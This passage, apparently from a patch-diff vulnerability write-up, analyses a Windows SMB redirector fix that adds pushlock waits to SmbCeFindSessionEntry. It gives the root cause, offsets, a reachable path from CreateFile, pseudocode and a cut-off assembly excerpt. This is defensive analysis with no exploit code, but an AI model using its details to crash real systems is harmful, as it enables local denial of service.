&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds &lt;code&gt;ExBlockOnAddressPushLock&lt;/code&gt; synchronization to the SMB redirector's session-entry lookup so that a thread which matches a session entry whose initialization has not completed waits for the constructing thread instead of proceeding. The worst demonstrable outcome of the unsynchronized code is a NULL/invalid-pointer dereference in the credential check (a local bugcheck / denial of service). The change is delivered behind the WIL feature gate &lt;code&gt;Feature_Servicing_AlternativePort_Dcr&lt;/code&gt;, with the pre-patch code path retained verbatim as &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt; — a staged rollout.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding: Use of a not-fully-initialized session entry in the VNetRoot lookup&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Race condition on a partially-initialized object; demonstrable impact is a NULL pointer dereference (CWE-476, arising from CWE-362)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; (unpatched &lt;code&gt;@ 0x140008700&lt;/code&gt;) / new &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; (patched &lt;code&gt;@ 0x1400334F0&lt;/code&gt;); the unpatched behavior is retained in the patched build as &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt; (&lt;code&gt;@ 0x1400476D4&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
The unpatched &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; walks the server entry's session list (head at &lt;code&gt;server_entry+0x210&lt;/code&gt;) under the exclusive spinlock at &lt;code&gt;server_entry+0x780&lt;/code&gt;. It matches an entry by state (&lt;code&gt;+0xc &amp;lt;= 5&lt;/code&gt;), a non-zero session refcount (&lt;code&gt;+0x1a8&lt;/code&gt;), and SessionID/LogonID (&lt;code&gt;+0x60/+0x64&lt;/code&gt; or &lt;code&gt;+0x68/+0x6c&lt;/code&gt;), increments the reference counts, releases the spinlock, and then calls &lt;code&gt;CheckCredentials&lt;/code&gt; with the entry's security-context pointer at &lt;code&gt;+0x80&lt;/code&gt; and, on the session-setup path, &lt;code&gt;SeAccessCheck&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The unpatched code has no notion of an "initialization complete" flag on the entry. The patched build adds two per-entry flags (&lt;code&gt;+0x230&lt;/code&gt; session-initialized, &lt;code&gt;+0x231&lt;/code&gt; transport-initialized) and a pushlock (&lt;code&gt;+0x238&lt;/code&gt;), and inserts &lt;code&gt;ExBlockOnAddressPushLock&lt;/code&gt; wait loops: a thread that matches an entry whose &lt;code&gt;+0x230&lt;/code&gt;/&lt;code&gt;+0x231&lt;/code&gt; flag is not yet set releases the spinlock, blocks on the pushlock until the constructing thread signals completion, then re-acquires the spinlock and re-checks. The constructing side signals completion in &lt;code&gt;SmbCeDecrementActiveVNetRootContextsOnSession&lt;/code&gt; (patched &lt;code&gt;@ 0x14001BA30&lt;/code&gt;), which sets &lt;code&gt;+0x231&lt;/code&gt; and calls &lt;code&gt;ExUnblockOnAddressPushLockEx(entry+0x238, 0)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Demonstrable impact:&lt;/strong&gt;
The construction routine &lt;code&gt;SmbCeFindOrConstructSessionEntry&lt;/code&gt; (unpatched &lt;code&gt;@ 0x1400081E0&lt;/code&gt;) populates the security-context pointer (&lt;code&gt;+0x80&lt;/code&gt;), the match keys (&lt;code&gt;+0x60&lt;/code&gt;..&lt;code&gt;+0x6c&lt;/code&gt;), and the session refcount (&lt;code&gt;+0x1a8&lt;/code&gt;) &lt;em&gt;before&lt;/em&gt; it links the new entry into the searchable &lt;code&gt;+0x210&lt;/code&gt; list, and it performs that link under the same &lt;code&gt;server_entry+0x780&lt;/code&gt; spinlock that the finder holds. A concurrent finder therefore cannot observe the entry in the list with an unset &lt;code&gt;+0x80&lt;/code&gt;. The initialization that the patch waits on is a later stage (session/transport setup, which performs network I/O after the entry is already listed). On the unsynchronized path the only unguarded dereference of the security-context pointer is inside &lt;code&gt;CheckCredentials&lt;/code&gt; at &lt;code&gt;0x140008A56&lt;/code&gt; (&lt;code&gt;cmp [rax+0x38], rdx&lt;/code&gt;, where &lt;code&gt;rax&lt;/code&gt; is the &lt;code&gt;+0x80&lt;/code&gt; pointer): if that pointer is NULL for the matched entry, this faults and bugchecks. The &lt;code&gt;SeAccessCheck&lt;/code&gt; path is &lt;em&gt;not&lt;/em&gt; a sink — it explicitly null-checks &lt;code&gt;+0x80&lt;/code&gt; (at &lt;code&gt;0x1400088CF&lt;/code&gt;) and the descriptor at &lt;code&gt;+0x38&lt;/code&gt; (at &lt;code&gt;0x1400088D8&lt;/code&gt;) before calling &lt;code&gt;SeAccessCheck&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The reachable impact is therefore a local kernel bugcheck (denial of service) if the timing race is won. There is no attacker-controlled memory content (the entry is zero-initialized pool), so this is not an authentication bypass, not an information leak, not a memory-corruption primitive, and not remotely reachable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;
1. User-mode &lt;code&gt;NtCreateFile&lt;/code&gt; / &lt;code&gt;CreateFile&lt;/code&gt; on a UNC network path (e.g., &lt;code&gt;\\server\share\file&lt;/code&gt;).
2. &lt;code&gt;MRxSmbCreateVNetRoot&lt;/code&gt; (RDBSS minirdr tree-connect callback).
3. &lt;code&gt;SmbCeFindOrConstructVNetRootContext&lt;/code&gt; (&lt;code&gt;@ 0x1400079F0&lt;/code&gt;).
4. &lt;code&gt;SmbCeFindOrConstructSessionEntry&lt;/code&gt; (&lt;code&gt;@ 0x1400081E0&lt;/code&gt;).
5. &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; (&lt;code&gt;@ 0x140008700&lt;/code&gt;) — the lookup that lacks the initialization wait.&lt;/p&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED SmbCeFindSessionEntry @ 0x140008700 ---&lt;/span&gt;
&lt;span class="c1"&gt;// Under the server-entry spinlock, on a matched entry:&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;session_refcount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;session_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;target_sid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;logon_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;target_lid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;vnr_refcount_active&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// +0x1ac&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;session_refcount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// +0x1a8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_InterlockedAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// +0x8&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleaseSpinLockExclusive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server_entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x780&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OldIrql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// No wait for initialization completion:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CheckCredentials&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;security_context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* +0x80 */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... SeAccessCheck path below null-checks +0x80 and [+0x80]+0x38 first ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED SmbCeFindSessionEntry @ 0x1400334f0 ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;matched&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;session_init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* +0x230 */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// NEW&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;_InterlockedAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExReleaseSpinLockExclusive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server_entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x780&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OldIrql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmbCeDereferenceSessionEntryEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                          &lt;/span&gt;&lt;span class="c1"&gt;// NEW: block until initialized&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;ExBlockOnAddressPushLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x238&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x230&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;session_init&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExAcquireSpinLockExclusive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server_entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x780&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;session_init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;transport_init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* +0x231 */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// NEW: same wait on +0x231&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExBlockOnAddressPushLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x238&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x231&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;transport_init&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// ... proceed to refcount + CheckCredentials on a fully-initialized entry ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;p&gt;The block below is the vulnerable lookup path in the unpatched binary. The spinlock is released before the credential check; there is no wait for an initialization flag.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- UNPATCHED SmbCeFindSessionEntry @ 0x140008700 ---&lt;/span&gt;
&lt;span class="mh"&gt;0x140008750&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+780h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;
&lt;span class="mh"&gt;0x140008757&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAcquireSpinLockExclusive&lt;/span&gt;
&lt;span class="mh"&gt;0x140008773&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+210h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;session&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;
&lt;span class="mh"&gt;0x140008780&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;first&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;
&lt;span class="mh"&gt;0x140008797&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+0Ch&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;
&lt;span class="mh"&gt;0x14000879B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jg&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x140008972&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087A1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+1A8h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;session&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087A8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087AB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x140008972&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;
